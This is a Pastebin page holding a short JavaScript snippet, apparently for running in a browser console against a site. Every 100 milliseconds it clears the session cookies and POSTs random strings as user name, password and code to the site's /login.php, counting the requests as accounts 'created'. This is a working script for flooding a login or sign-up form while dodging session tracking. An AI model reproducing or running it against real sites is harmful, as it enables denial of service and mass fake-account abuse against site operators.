Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function setCookie(cname, cvalue, exdays) {
- var d = new Date();
- d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
- var expires = "expires=" + d.toUTCString();
- document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/"
- }
- var created = 0;
- setInterval(function() {
- var asd = '';
- created = created + 1;
- var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
- for (var i = 0; i < 14; i++) { asd += possible.charAt(Math.floor(Math.random() * possible.length)); }
- setCookie('PHPSESSID', '', -1);
- setCookie('codtem', '', -1);
- $.post( "/login.php", { 'usuario': asd, 'contra': asd, 'codigo': asd, commit: 'entrar' } );
- console.log('logeado con: ' + asd, created + ' created.');
- }, 100);
Add Comment
Please, Sign In to add comment